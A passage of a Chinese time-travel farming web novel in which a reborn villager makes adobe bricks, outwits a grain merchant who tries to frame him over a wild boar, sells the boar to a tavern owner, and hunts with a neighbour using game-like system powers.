“火炕?那是啥东西?”
李逸一愣,没想到火炕在这里竟然也没普及。
他大致描述了火炕的构造和保暖效果,何铁牛听得双眼放光:“还有这么好的东西?成!反正我闲着也是闲着,帮你做土坯砖不用给粟米,等你搭火炕的时候让我学学就行,回头我也给老娘搭一个,省得她冬天总生冻疮。”
“没问题,等我搭好,咱们再一起给伯母搭一个。”
李逸初中以前一直在农村跟着爷爷奶奶生活,见过不少搭火坑的场面,虽不精通,却也知道大致的构造和原理,剩下的可以边摸索边做。
两人先去西坡推黄土,亲自推了一车后,李逸暗自庆幸找了铁牛这个帮手,只这一车,就累得他手脚酸软,浑身冒汗。
何铁牛嫌他干活笨手笨脚,便让他去田里收拾粟米秸秆。
制作土坯砖本不是难事,按何铁牛的经验,只需将黄泥掺入秸秆,放入模具中晾干即可,但李逸记得,小时候看大人做砖时,还会在泥里加草木灰和沙土,这样能大大提升土坯砖的硬度和耐用性。
沙土一时没找到,草木灰却容易得很,随便找些杂草枯枝烧成灰,或是收集各家灶膛里的灰烬就行。
一下午的时间,两人都在忙着备料,何铁牛一个人就推回了一大堆黄土,堆在院中像个小山丘。
擦了擦额角的汗水,何铁牛看了眼西斜的日头:“时候不早了,今天就到这吧,明天咱们开始做砖坯。”
他正要转身离开,却被李逸一把拉住:“铁牛哥,你辛苦了一下午,今晚就在我家吃吧,不然明天我可不好意思再找你帮忙了。”
何铁牛本想拒绝,肚子却不争气地咕咕叫了起来,只好点头应下。
于巧倩早已按照李逸的吩咐做好了饭,煮了一锅浓稠的粟米粥,里面还加了一把大麦,香气扑鼻,李逸又将剩下的野鸡肉全都拿了出来,特意用来招待何铁牛。
“这野鸡是你打的?”
何铁牛瞪大了眼睛,满脸诧异,在他的印象里,李三就是个好吃懒做的无赖,除了偷鸡摸狗翻寡妇墙,根本不会正经干活。
李逸有些不好意思地挠了挠头:“铁牛哥,以前是我糊涂,好吃懒做,还做了不少混账事,前几日我爹给我托梦狠狠训斥了我一顿,希望现在改还不晚。”
何铁牛哈哈大笑起来:“不晚!知错能改就好!我看弟妹们都是会过日子的人,你们好好努力,勤快些,日子肯定能好起来的。”
何铁牛一口气喝了两大碗粥,硬是没好意思再盛第三碗,放下碗筷说自己吃饱了,便匆匆回了家。
送走何铁牛,李逸将今天打的野鸡处理干净,切了半只放进锅里炖上,白雪儿和于巧倩在大牢里遭了不少罪,身子亏空的厉害,得慢慢用食补回来。
前天打的另一只野鸡,李逸在乡里的集市上匆匆卖掉,换了些粗盐和一小罐豆豉,这个时代的调味品少得可怜,不像现代一道菜动辄需要十几种调料。
李逸重生前,除了喜欢研究美食,还总爱看一个博主的古法制作视频,手搓系列,从香皂,食盐,酒到各种工具,每期的标题都是穿越回古代如何致富。
当时只当是消遣,没想到如今竟真的能派上了用场,李逸所处的这个年代太过落后,许多后世习以为常的东西,在这里都是闻所未闻。
鸡汤炖好后,李逸连忙招呼于巧倩和白雪儿吃饭。
白雪儿的气色好了不少,也终于有了些食欲,喝着鲜美的鸡汤,眉眼弯成了好看的月牙。
【夫君真好,没有把雪儿赶出去还给雪儿求药,还有鸡汤喝鸡肉吃】
【白雪儿好感度+10】
两个姑娘都一个劲儿地说好喝,李逸却觉得汤里还带着一丝淡淡的腥味,被现代饮食养刁的胃口,想要在这里彻底适应,恐怕还需要些时日。
当然,若是真到了饿急眼的时候,自然也就顾不上这些讲究了。
次日.....
天刚蒙蒙亮,何铁牛就兴冲冲地赶了过来,他心里惦记着早点做好土坯砖,好尽快跟着李逸学搭火炕。
而铁牛媳妇听说他昨晚在李三家吃了饭,心里却打着小算盘,巴不得他一整天都在李逸这里蹭饭,这样家里的粮食就能省下来。
上午两人继续备料,何铁牛推黄土的速度快得惊人,一车接一车,根本停不下来。
正午时分,李逸用提炼出的鸡油,搭配提前泡发好的干蘑菇,简单炒了一盘蘑菇,就这么一道朴素的家常菜,却让何铁牛吃得赞不绝口,连连说过几天也要进山找些干蘑菇,让自家婆娘照着这个法子做。
李逸不禁感慨,在这缺衣少食的荒年,寻常的吃食都能变成人间美味,他这不过是略施手段,若是放到皇宫里,恐怕齐武帝的御厨们都要集体下岗。
齐武帝:连个乡野村夫都比你们会做菜,寡人留你们何用?拉下去!统统斩了!
下午开始和泥做土坯砖,何铁牛看着李逸往泥土里掺草木灰,一脸疑惑,李逸只说是在县城偶然听来的法子,能让砖更结实,何铁牛便不再多问,埋头跟着一起忙活。
两人足足忙碌了三天,一块块土坯砖整齐地摆满了李逸的小院,甚至延伸到了院外,反正何铁牛也要给老娘搭火炕,自然不愁做太多用不上。
虽说何铁牛之前说过不用给粟米,但李逸毕竟有着现代人的处事方式,觉得不能让人家白忙活,何铁牛回家后他特意端着一碗粟米送了过去,作为感谢。
这可把何铁牛的媳妇乐坏了,亲热得像是自家兄弟:“哎哟,李三兄弟,你也太见外了!我家铁牛有的是力气,帮你干点活算什么?管顿饭就够了,你嫂嫂我可不是那不明事理的人。”
何铁牛家的房子有两间,东屋住着他和媳妇还有不到两岁的孩子,西屋则是他那常年卧床的老娘。
说是老娘,其实年纪也不过五十岁,可常年的病痛和营养不良,让她看起来比现代七十多岁的老太太还要苍老,屋子四处漏风,御寒的只有一床满是破洞的旧棉被。
以铁牛媳妇的刻薄性子,能容忍一个瘫痪多年的婆婆留在家里,已经算是她的极限了。
第八章:初入县城,野猪风波
土坯砖要晾晒好几日才能干透,李逸正好趁这段时间处理那头野猪。
去乡里的集市转了一圈,他心里就有数了。想卖个好价钱非得去县城不可,乡里都是穷苦农户,哪吃的起的野猪肉?只有县城里的大户人家或酒肆客栈,才有可能接手。
出发前,李逸捆了几捆码得整整齐齐的木柴,装作是去县城卖柴的样子,这一幕恰好被一瘸一拐出来上茅厕的王赖子看在眼里。
“李三这狗娘养的!”王赖子扶着墙,眼睛恶毒,咬牙切齿地捶了下墙:“咱俩的账还没算完!等老子腿好了,非打断你的腿,再把你那两个婆娘卖到乡里窑子里去!”
他还在兀自愤愤不平,认定那天是李三偷袭得手,若是正面较量,被打断腿的肯定是李逸。
李逸出了村,左右看没人便把推车和木柴一股脑收进了物品栏,轻装上阵。临走前他交代过于巧倩,院子里备足了柴,水缸也挑得满满当当,米肉都不缺,只管安心照看白雪儿。
何铁牛听说他要去县城待两天,主动帮他加固了屋门和窗户,这几日相处下来,何铁牛看出李逸是真心悔改,早已不把他和王赖子那种无赖相提并论,如今是他和李逸一起,瞧不上王赖子那副德行。
“你放心去,我每天过来溜达两圈,保准你家没事。”何铁牛拍着胸脯保证。
白雪儿的风寒喝了三副药就好得差不多了,剩下只需静养,保险起见,李逸叮嘱于巧倩再熬一副巩固药效,余下的三副则收进物品栏,以备日后不时之需。
心境不同,连赶路的脚步都轻快了许多,李逸一边走一边仔细打量着出大荒村的这条路,两边尽是荒芜的田地,只有远处能望见连绵的山脉。
“这要是搁在现代,早被开发商炒成黄金地段了。”他小声嘀咕了一句。
兵乱刚过,大齐王朝初立,地广人稀,县衙顺应上面的政策,大力鼓励农户开荒种地,这才会有送粮送媳妇的福利。
既然朝廷重视农耕,李逸便打算顺着这股势头先做个种田大户,至于其他的营生,只能当作副业慢慢琢磨。
因为出发得早,黄昏前李逸就抵达了此行的目的地,安平县。
县城和乡里的规模简直天差地别,乡顶多算个大村子,有官道有驿站就不错了,而县城有高耸的城墙,城门口还有驻军守卫,城里住着数千上万户人家,是周边村乡的中心地带。
李逸从物品栏取出推车,用木柴盖得严严实实,只留出个中空的夹层方便放置野猪。他推着车慢慢进城,城门口的两个士兵扫了眼车上的木柴,没多盘问就放行了。
这推车本就不顺手,还要推着两三百斤的野猪走,一路下来,李逸的胳膊都快酸麻得抬不起来了。
比起乡里的萧条,县城简直算得上繁华,往来行人的衣着虽算不上华贵但大多整洁厚实,看得出日子虽清苦却也能勉强糊口,不像乡下的穷户,常常吃了上顿没下顿,全靠挖野菜度日。
李逸先去集市转了转,发现几家肉铺门冷清的可怜,半天不见有人进去,这年头能填饱肚子就不错了,寻常人家哪敢奢望吃肉?
野鸡野兔这类小猎物,肉铺或许还会收,但这么大一头膘肥体壮的野猪,他们肯定吃不下。
李逸盘算着,只能找规模大些的酒肆,客栈,或是直接找上门推销给富商大户,可又怕被看家护院的赶出来,实在不行就只能找个隐蔽地方把猪肉分割开,零散着卖。
李逸先走进一家肉铺打听价格,家养猪肉卖到六钱一斤,他的野猪肉品质更好,至少能卖到八钱以上。不过要是整头卖价格总得让些。
路过一家粮店时,李逸停下了脚步。
这家粮店规模极大,进出的客人络绎不绝,三个小伙计忙得脚不沾地,店主是个穿着绸缎衣裳的中年男人,捻着山羊胡,满脸堆笑地看着往来的客人,一看就是个家底殷实的富商。
李逸眼前一亮,心里有了主意。
卖野猪的钱本他就是打算用来买粮食的,倒不如直接卖给粮店老板,主要换粮,剩下的再换些银钱,省时又省力。
打定主意,李逸抬脚走了进去,如今他穿的是药铺陈掌柜的旧冬衣,虽不算华贵,但也整洁,加上眼神沉稳自信,倒没让人一眼就看出是乡下穷户,当然,若是细看他脚上那双打了补丁的布鞋,还是能露出些端倪。
“东家,我有些好货,您要不要看看?”李逸对着掌柜拱了拱手,语气实在。
姓徐店主上下打量了他一番,又瞥了眼门外那辆破旧的推车,眉梢一挑,脸色顿时有些不悦:“你那几捆破柴,也配叫好货?”
李逸赔着笑摆手:“不是木柴,我是个猎户,今早运气好猎到头大货。”
“哦?”
徐店主来了兴致:“那我倒要瞧瞧,是什么宝贝。”
他跟着李逸走出店门,李逸掀开木柴的一角,露出野猪油光水滑的皮毛,上面的血迹还没完全干涸。
“两百多斤的野猪,今早刚猎得,新鲜得很。”李逸看着他,开门见山,“不知道东家收不收?”
徐店主捻着胡子,小眼睛滴溜溜转个不停,心里的算盘打得噼啪响:
【还真是好货啊!卖给城西酒肆的王店主,至少能卖一千钱!我以五百钱买下,转手就能赚五百!这买卖着实划算!】
【等等!安平县周边哪有这么大的野猪?这小子定是偏远山村来的穷猎户,好欺负!我不如一口咬定这野猪是他偷我的,再给衙役班头塞一百钱,到时候不仅白得一头猪,我能赚的更多!哈哈....这下发财了!】
李逸脸上的笑容一点点凝固了.....
他是来诚心做生意的,没成想这老家伙竟想空手套白狼!要不是他能听到对方的心声,今天这个坑他怕是栽定了,一个外地穷户怎么斗得过本地富商和衙役?
徐店主心里盘算妥当,脸上立刻堆起假笑:“呵呵,后生,这买卖我做了,来....咱们进店细谈。”
李逸装作喜出望外的样子,弯腰用木柴把野猪重新盖好,手指不经意间碰了下猪头,暗中将野猪收进了物品栏。
刚一进店,徐店主的脸就沉了下来,厉声喝道:“伙计们,给我把这个小贼绑了!”
三个小伙计立刻围了上来,动作娴熟地用麻绳捆住李逸的手脚,看这架势,显然不是第一次做这种事了。
“你,去县衙叫李班头过来!”徐店主指着一个小伙计命令道。
“好嘞,东家!”那小伙计跑得飞快,转眼就没了踪影。
李逸故意装作惊慌失措的样子,挣扎着质问:“店主,你这是干啥?凭啥绑我!”
徐店主冷哼一声,倒打一耙:“明知故问!我昨晚丢了一头野猪,今天你就推着野猪来卖,不是你偷的还能是谁?”
“把他的嘴堵上!”
一个小伙计拿起一团麻布,粗暴地塞进李逸嘴里,只让他发出呜呜呜的声音。
没过多久,小伙计就带着三个穿着衙役服饰的人回来了,为首的正是李班头。
“李班头,可算把你盼来了!我帮你抓到偷猪的小贼了!”
徐店主连忙迎上去,拉着李班头到一边低声嘀咕,两人的手在袖筒里比画着,显然是在谈价钱。
一开始李班头嫌一百钱太少,讨价还价了半天,徐店主最终答应事后给一百八十钱。
李班头走进店里,冷漠地扫了李逸一眼,沉声道:“人赃并获,带走!”
两个衙役上前,粗鲁地把李逸从地上拽起来,李逸趁机扭动身子,让嘴里的麻布掉了下来,高声喊道:“官家!抓贼要抓赃,捉奸要捉双!你总得让大家看看,我偷了什么吧?”
粮店里本就人多,见有衙役来,更是围了一圈看热闹的人,李逸这么一喊,所有人的目光都集中到了李班头和徐店主身上。
徐店主冷笑一声,指着门外的推车:“他偷了我一头野猪,就在那推车上,大家一看便知!”
他得意洋洋地走到推车旁,将上面的一捆木柴掀开。
围观的人探头一看,推车里空空如也,顿时发出一阵哄笑。
徐店主脸上的笑容僵住,使劲揉了揉眼睛,不敢置信地喊道:
“不可能!我刚才明明看到了!”
他气急败坏地把推车翻了个底朝天,别说野猪连根猪毛都没找到。
李逸适时开口,声音带着委屈:“我就是来问店主收不收木柴,他二话不说就把我绑了,还说我偷野猪,求官家为我做主啊!”
围观的人立刻议论纷纷,指指点点:
“这就奇了,没赃物也能抓人?”
“怕不是想讹人吧?”
“我记得上个月,就有人说被徐店主诬陷偷粮,昧了人家五百斤粟米,该不会是真的吧?”
说话的是个穿着藏青色长袍的男人,正是县城里另一家大粮店的刘店主,也是徐店主的死对头。
议论声越来越大,连带着对李班头的指责也多了起来。
李班头脸色铁青,冷冷地看向徐店主:“还抓吗?”
言下之意,是抓人可以钱得给够。
徐店主心里暗骂晦气。
抓吧,不仅拿不到野猪,还得倒贴一百八十钱,纯属亏本买卖。
不抓吧,今天这脸算是丢尽了。
脸可以丢,铜钱绝对不能亏!
徐店主咬了咬牙,硬着头皮说道:
“呃……许是我看错了,一场误会,大家散了吧!”
“误会?”人群里有人起哄。
“说抓人就抓人,说放人就放人,当我们是傻子啊?”
“对啊,平白冤枉人,总得给个说法吧!”
徐店主狠狠瞪了眼看热闹的刘店主,无奈之下,只能咬牙吩咐伙计:
“给这后生装三斗粟米,全当是补偿他了。”
李班头脸色稍缓,挥了挥手:“松绑,我们走。”
临走前,还不忘警告徐店主:“下次别再惹出这种麻烦。”
“一定一定,李班头慢走!”徐店主陪着笑送走衙役,脸都快绿了。
李逸揉了揉被勒得发红的手腕,拎着沉甸甸的三斗粟米走出粮店。
都说人心不古,现在来看,古代的人心也比想象中复杂得多。
要不是有物品栏这个底牌,要不是提前看穿了那老东西的心思,李逸这个外地来的穷小子,今天指不定要吃多大的亏……
第九章:王店主
李逸推着车缓慢行走,心里盘算着野猪的销路,刚才粮店的遭遇虽惊险,却也给了他个教训,人心这东西深不可测,做任何事都得留好后手。
被这么一耽搁,从粮店出来时天已经擦黑了,要是再卖不掉野猪,他连今晚住店的钱都凑不齐,只能在大街上挨冻。
“城西酒肆,王店主……”
李逸忽然想起,刚才徐店主心里盘算着把野猪卖给这个王老板,都是生意人徐店主既然能想到他,说明这人肯定有实力吃下这头猪。
“只能去碰碰运气了。”
眼下没有其他门路,哪怕再遇到一次粮店的糟心事,也只能硬着头皮上。
到了城西,李逸一眼就看到了三家酒肆,其中一家门面最气派,门匾上王记酒肆四个大字格外醒目。
他在街对面观察了片刻,进出的客人衣着都干净整洁,没有乡下农户那种打满补丁的模样,看得出这里消费水平不低,和旁边两家小酒肆完全不是一个档次。
李逸摸了摸口袋里仅有的两枚铜钱,这是他的全部家当,把推车停在酒肆侧边,李逸深吸一口气,脸上堆起笑容迎了上去。
门口的伙计上下打量他一番,见他穿着旧衣脚上还沾着泥,皱着眉就要驱赶:
“去去去,没钱就别在这晃悠!”
李逸连忙攥住他的手,把两枚铜钱悄悄塞了过去,趁着伙计愣神的功夫,他压低声音说:
“这位大哥,麻烦你通报下王店主,我有上好的野味儿想卖给他,保证是好东西。”
伙计捏着铜钱,脸上露出为难的神色,可又舍不得把钱还回去。
“你放心,这货绝对能让王店主满意,他肯定不会怪你的。”李逸语气诚恳,眼神里没有半分虚浮。
伙计犹豫了一下,点了点头:“行吧,你在这等着,我去叫店主,就说你是我乡下堂弟。”
没过几分钟,伙计就领着一个中年男人走了出来,这人身材魁梧,肚子圆滚滚的,把身上的衣裳撑得鼓鼓囊囊,一看就是养尊处优的主儿。
“这就是你堂弟?怎么从没听你提过?”
王店主扫了李逸一眼,对着他扬了扬下巴:“你过来,说说有什么好货,别是来糊弄人的。”
“店主说笑了,我哪敢啊!”李逸搓了搓手笑着回答:“是一头野猪,今早刚猎得,足有两百五十斤往上!”
“当真?”王店主眼睛瞬间亮了,上前一步追问:“你可别消遣我,这么大的野猪不是随便能猎到的。”
“您随我来看看就知道了。”李逸领着他走到推车旁,掀开了盖在上面的木柴。
王店主一看清野猪的模样,顿时激动地往前凑,庞大的身躯直接把李逸挤到了一边,李逸心里咯噔一下,暗道不好,该不会又是想明抢吧?
“哎呦喂,这品相可真好!”
王店主围着野猪转了两圈,伸手拍了拍野猪肚皮:
“肥膘厚实,肉质肯定紧实,是头好猪!”他扭头想说话,才发现李逸已经站到了他身后。
王店主背着手,挺着肚子问道:“说吧,这头猪你想卖多少钱?”
“九百钱。”李逸报出了价格。
他记得徐店主打算卖一千钱,自己让了一百,算是诚意价,这头野猪在他手里多待一分钟就多一分风险,能尽快出手也算了解了一桩心事。
“成!就九百钱!”王店主爽快地拍了板:“看你小子挺实在的,推着这么大一头猪进城也不容易,就不跟你还价了!”
紧接着他转头对伙计吩咐:“你在这等着,我去拿钱!”
李逸站在原地,心里七上八下的,他下意识地用木柴重新盖住野猪,手紧紧攥着推车把手,随时准备启动物品栏的底牌,万一这王店主也玩阴的,他也好及时应对。
没过多久,王店主就从店里出来了,身后还跟着三个伙计。
“卧槽,又来?”李逸心里一紧,瞪大眼睛做好了防备。
谁知王店主径直走到他面前,递过一串用麻绳穿好的铜钱:
“给,九百钱,你点点清楚。”
李逸愣了一下,接过铜钱连声道谢:“多谢店主!多谢店主!”
“快,把野猪抬到后厨去!”王店主对着伙计挥了挥手,转头叫住了正要走的李逸:“哎,这么晚了,你要去哪?不如进店吃点东西,放心,不要你钱。”
李逸有些犹豫,刚经历过徐店主的算计,他对这种免费的晚餐实在没什么安全感,生怕是一场鸿门宴,但转念一想,王店主看着不像是耍手段的人,而且自己确实又累又饿,便点了点头:
“那就多谢店主了。”
这家酒肆看着像酒肆,实则规模和布局都快赶上大酒楼了,王店主领着他找了个角落的空位坐下,吩咐伙计:“给这小兄弟上点热乎的,再来一碗酒暖暖身子。”
李逸这才明白,为什么徐店主第一时间就想到了王店主,这人不仅财力雄厚,性子还豪爽,做生意就喜欢和这样的人打交道。
没多久,王店主拎着一个酒坛和两个小碗走了过来。他拔掉坛封,一股淡淡的米香飘了出来,给两个碗都倒满了酒,把其中一碗推到李逸面前:“来,尝尝我这黍香酒,慢点喝,这酒烈得很!”
李逸端起碗浅尝了一口,心里顿时有些无语。
这哪能叫酒啊,说是米酒饮品或者米汤还差不多,酒精度数估计还没啤酒高,难怪古代的好汉们都喜欢大碗喝酒大口吃肉,就这种酒换谁来都能喝上几坛。
“怎么样,我这酒够劲吧?”王店主一脸得意地看着李逸。
李逸强忍着嘴角的抽搐,放下酒碗赞叹道:“好酒!真是好酒!入口淳厚,后劲十足!”
这话正说到王店主心坎里,他笑得眼睛都眯了起来。
很快,伙计端来了一大碗热气腾腾的粟米粥,还有两小碟小菜,一碟炒黄豆,一碟腌萝卜丝。
“你慢慢吃,我去后厨看看我的野猪。”王店主说完便转身离开了。
李逸刚吃了两口,又有几位食客走进了酒肆,穿着打扮都是家境不错的富户。
他一边吃饭,一边观察着其他桌的菜品,发现这个年代的吃食实在单调,馒头、面条这些后世常见的主食,这里竟然都没有。
快速吃完饭后,李逸叫来了刚才帮他通报的伙计,偷偷塞给了他十个铜板:
“多谢大哥刚才帮忙,这点心意你收下。”
伙计叫丁二,见李逸如此上道,笑得合不拢嘴:
“哎呀....兄弟,你太客气了!吃饱了吗?没吃饱我再给你盛一碗。”
“不用了,”李逸摇摇头,问道:“大哥,这附近有没有便宜点的客舍?天色太晚,我打算明天一早再回村。”
丁二想了想,说道:“有,离这儿不远,三钱就能住一晚,出了门向东走,走到头右转,就能看到一家小客舍。”
“多谢大哥,下次来我给你带点山里的干蘑。”李逸抱了抱拳。
“那感情好!”丁二更高兴了:“我们这儿也收干蘑,只要成色好能卖不少钱,以后再打到野味,还往我们这儿送啊!”
告别丁二后,李逸推着空车按照指引找到了客舍。
他把卖野猪的铜钱和徐店主赔偿的粟米都收进了物品栏,身上只留了十几个铜板应急,这样既不怕偷也不怕抢。
赶了一天路他实在太累了,倒在床上没多久就沉沉睡了过去。
第二天一早,李逸吃了两个提前准备好的饭团,就去了县城的集市,他打算买些必需品,然后赶紧回村。
小粮店里只有粟米和黍子,价格比徐店主家便宜些,大粮店里则多了黄豆、黑豆、大麦和小麦。
李逸一口气买了五百斤粟米,一百斤大麦,一百斤小麦和六十斤黄豆,买完这些他身上还剩一百钱。
在集市口蹲了半个时辰,把两张成色好的兔皮卖了三十钱,要是皮相破损,一张顶多只能卖十钱,直到把铜钱花得只剩下十几个,他才推着满满一车粮食出了城。
出城时已经快正午了,等李逸赶回大荒村,天色已经完全黑了下来。
屋内.....白雪儿和于巧倩正坐在灶旁,盯着跳动的柴火发呆。
“姐姐,夫君怎么还没回来啊?”
白雪儿时不时看向门口,语气里满是担忧,这几天相处下来,她早已把李逸当成了真正的依靠。
于巧倩眉头微蹙心里也有些不安,李逸说去两天,按说今天该回来了,该不会出什么事了吧?
下午何铁牛又来帮着加固了屋顶,现在屋子虽还有些漏风,但比之前好多了,可越是这样,两女就越盼着李逸能早点回来。
就在这时,院门外传来了李逸熟悉的呼喊声:“倩儿,雪儿,快来搭把手!”
“是夫君!他回来了!”白雪儿欣喜地跳了起来,像只轻快的小兔子一样冲了出去。
“雪儿,慢点,你的风寒刚好!”于巧倩连忙跟在后面叮嘱。
李逸正吃力地推着装满粮食的小推车进门,从村口到家里这短短一段路,累得他满头大汗。
“夫君,我来帮你!”
白雪儿跑过来,伸手就去推车轮,于巧倩也上前帮忙,三个人生拉硬拽,没走几步,推车哐当一声翻倒在地,粮食袋子滚了一地。
李逸看着满地的粮食,又看了看两个一脸窘迫的姑娘,苦笑着摇了摇头:
“你们这哪是帮忙,分明是帮倒忙啊。”
白雪儿和于巧倩以为他会生气,见他只是苦笑,两人对视一眼也忍不住笑了起来。
三个人合力把粮食搬进屋里,看着一袋袋堆得像小山似的粮食,白雪儿笑得眼睛都弯了,她再也不用担心饿肚子了,能吃饱穿暖,就是她现在最大的心愿。
其实李逸只从物品栏里取出了一部分粮食,要是把五百斤粟米全拿出来,这破旧的小推车根本承受不住,推车上装的,不过是一袋粟米、一袋大麦和一袋黄豆。
“倩儿,饭做好了吗?我先歇会儿做好了叫我。”
李逸走进里屋,一头趴在床上,再也不想动了。
白雪儿轻手轻脚地走进来在床边坐下,她小心翼翼地帮李逸拍掉裤腿上的泥土和草屑,脱掉他沾满泥土的鞋子,然后用一双小手轻轻揉捏着他酸痛的小腿。
“夫君,辛苦了。”她的声音轻柔,带着浓浓的心疼。
看着她乖巧懂事的模样,李逸心里暖暖的,伸手摸了摸她的头:“不辛苦,我答应过你,以后再也不让你饿肚子,趁入冬前得多囤点粮食才行。”
李逸忽然想起什么,翻身坐起来从怀里摸出一个木梳和两根木质发簪:
“给,特意给你买的。”
白雪儿眼睛瞬间亮了起来,双手接过发簪和木梳,脸上满是惊喜:
“真好看!谢谢夫君!我去给姐姐看看,她肯定也喜欢!”
风寒痊愈后,又穿上了厚实的冬衣,白雪儿彻底恢复了往日的活力,蹦蹦跳跳地跑了出去。
【系统提示:白雪儿好感度+ 5(当前 40点)】
【系统提示:于巧倩好感度+ 1(当前 2点)】
看着滚动的系统提示,李逸无奈地摇了摇头,这两女的性格差距太大,于巧倩的好感度还真是难刷啊......
第十章:狩猎余波
喝了碗热粥,李逸强撑着满身疲惫出来收拾带回来的粮食。
他先把粟米倒进米缸,再用木锅盖严严实实盖好,上面还压了两块大石头,这样就算再精明的老鼠,也钻不进去偷米吃。
至于大麦和黄豆,李逸嘴上跟二女说找个隐蔽地方藏起来,实则悄悄收进了物品栏,做完这些他一头扎进里屋,倒头就睡,连衣服都没脱。
“姐姐,夫君太累了。”
白雪儿看着李逸熟睡的模样,大眼睛里满是心疼,她轻手轻脚端来一盆温水,蹲在床边,小心翼翼地脱掉李逸的鞋子,指尖碰到他脚跟干裂的口子时还下意识放轻了力道。
于巧倩的目光却落在了李逸那双露着脚趾的破鞋上,她下意识摸了摸头上的木簪,虽说是最廉价的那种,可李逸给她和白雪儿各买了一支,自己却什么都没添置。
见过以前那个混账卑劣的李三,再看如今的李逸简直是天壤之别。
于巧倩捡起地上的破鞋,拍掉上面的泥块,借着微弱的油灯光笨拙地穿针引线,这是她这辈子第一次做女工,针脚歪歪扭扭手指好几次被针扎破,也只是悄悄吮了吮,继续缝补。
白雪儿本是商贾之女,白家被迫给骁君王筹措钱财,后来骁君王兵败被斩,白家家产被抄,男丁女眷全被投入大牢。
于巧倩的父亲是前朝的一名官职不高的文官,不属于齐武帝麾下,天下平定后,她们便成了反贼罪臣的家眷。
她们本以为,大牢里暗无天日的日子已是绝境,没想到最后竟被当作赏赐,送给了乡野村夫做媳妇,日日遭受打骂侮辱,若不是彼此支撑,恐怕早就在绝望中寻了短见,直到那一夜,李三仿佛换了个人,连名字都改成了李逸。
从当初家里揭不开锅要靠骗粮种度日,到如今粟米满缸还有肉吃,不过才短短几日。
于巧倩看着灯下熟睡的李逸,心里的防备彻底卸下,若是他能一直这样下去,这样安稳的村妇日子她也愿意过。
其实李逸在白雪儿给他洗脚时就醒了,看着小姑娘小心翼翼生怕吵醒他的模样,他索性装睡,感受着脚底传来的暖意。
白雪儿心思单纯,是最早对他放下戒备的人,可于巧倩不同,她聪慧又敏感,此刻却在油灯下认真地缝补着他的破鞋,这份笨拙的温柔,让李逸心里泛起一阵暖意。
最初对这两个姑娘,李逸满是同情与怜惜,还有属于原主李三的愧疚。
虽说灵魂换了但这身子还是李三的,以后若是有了孩子也是李三的血脉,李逸占用了李三的身份,总该替他弥补些什么。
但感情终究是相互的,他若是真心相待,却始终无法抚平她们的伤痛,也绝不会强行将她们留在身边,等以后有了能力,自然会给她们重新选择的机会。
好在现在一切都在往好的方向发展,李逸也并不着急,眼下最重要的是解决温饱把日子过好,每一天都充满干劲与希望。
天刚蒙蒙亮,何铁牛就找上门来。见李逸已经回来,他搓着手有些不好意思地说:“李三兄弟,今天能不能带我进山一趟?我想跟着你学学打猎,再摘点山货。”
铁牛虽说身强力壮,干活是把好手,可打猎却是个门外汉,更要命的是,他一进山就容易迷路,若是没有李逸带着,根本不敢深入山林。
有铁牛在身边,李逸只能用那把普通的家传弓箭,打猎效率大大降低。
铁牛扛着个破布袋,一门心思要多摘些干蘑,上次在李逸家尝过一次,那鲜味儿让他惦记到现在。
两人在山里转了一上午,连只兔子的影子都没见到。
或许是过了新手保护期,又或许是两人目标太大惊走了猎物,不过好在干蘑和木耳摘了满满一布袋,也不算空手而归。
“李三兄弟,天快晌午了,咱们是不是该回去了?”铁牛肚子饿得咕咕叫,忍不住提议道。
“嘘!”李逸突然抬手打断他,顺着他手指的方向望去,不远处的草丛里,正站着一只傻狍子在低头啃草。
李逸示意铁牛在原地等候,自己则猫着腰悄悄摸了过去。
距离一点点拉近,直到进入二十米射程范围,李逸才停下脚步,借着身旁大树的遮挡,避开铁牛的视线,他迅速换上了物品栏里的硬木弓和羽箭。
握住熟悉的弓箭,李逸的眼神瞬间变得锐利起来,他深吸一口气,从容拉弓、瞄准,羽箭如流星般射出,精准地贯穿了傻狍子的头颅。
【狩猎熟练度+ 35】
李逸快步跑过去,顺手将硬木弓和羽箭收进物品栏,回头对着铁牛大喊:“铁牛哥,射中了!”
何铁牛一听立刻兴奋地跑了过来,看着还在微微抽搐的傻狍子,忍不住赞叹道:
“好家伙!这狍子少说也有三十斤!李三兄弟,你这手艺也太厉害了,我真是对你刮目相看!”
考虑到李逸的身板,何铁牛主动扛起狍子:“我来扛吧,你来背那些山货。”
李逸没有拒绝,铁牛出了力他等下分肉时也更理直气壮,铁牛这人实在地有些缺心眼,从来不肯占别人半点便宜。
两人又在山林里转了一圈,李逸在之前下套的地方发现了一只被缠住的兔子,正拼命挣扎着想要逃跑。
兔子繁殖能力极强,若是能养殖,一对兔子一年就能繁衍出二三十只,来年更是能达到上百只,可眼下他既没精力也没条件搞养殖,只能先作罢。
“李三兄弟,这兔子套也是你下的?”
何铁牛瞪大了眼睛,满脸不可思议“你也太厉害了,快教教我!”
“这有啥难的,回头我教你。”
李逸爽快地答应下来,他带着铁牛检查了所有的兔子套,还现场演示了一遍怎么布置,叮嘱道:“关键是要找对地方,得选野兔经常出没的路径。”
两人不敢耽搁,在太阳落山前赶回了村子。
铁牛一路扛着狍子,直接送到李逸家院门口,连门都没进就准备转身回家,自始至终,都没提过狍子和兔子的事,羡慕归羡慕,可这是李逸凭本事猎到的,他可做不出索要的事。
白雪儿早就站在院门口等候了,看到李逸就立刻迎了上来,当看到铁牛肩上的狍子时,她兴奋得小脸通红,像只快乐的小麻雀,转身就跑进屋里报信:
“姐姐!夫君打了一只好大的猎物,我都不认识是什么!”
于巧倩一开始还以为李逸只是运气好,可后来见他每次进山都不会空手而归,才知道他是真有本事,尤其是他给野兔剥皮时那娴熟的动作,绝非一日之功。
李逸在县城里唯一给自己买的东西就是一柄匕首,用这东西给野兔剥皮比柴刀好用的多,他熟练地将野兔皮完整剥下来,拎着兔肉转身就往何铁牛家走去。
此时的何铁牛家,正准备吃晚饭,铁牛眉飞色舞地跟自家婆娘刘氏分享着山里的经历:
“你是没看见,李三兄弟那箭法,简直神了!一箭就射中了一只三十多斤的狍子!”
刘氏吸溜着碗里的粟米粥,听闻连忙停下动作。
“还有!我们还在他下的套里捡了一只肥兔子,还是活的!”
铁牛说得兴起,完全没注意到自家婆娘脸色的变化。
刘氏啪的一声把碗摔在桌上,气呼呼地说:
“合着你们一起进山,他李三又是狍子又是兔子的,就给你带了点破蘑菇回来?你前几天还天天去他家帮忙,这不是白忙活了吗!”
“可打猎我啥也没干啊,而且这蘑菇也挺鲜的,泡开了炒着吃很香的。”铁牛不满地辩解道。
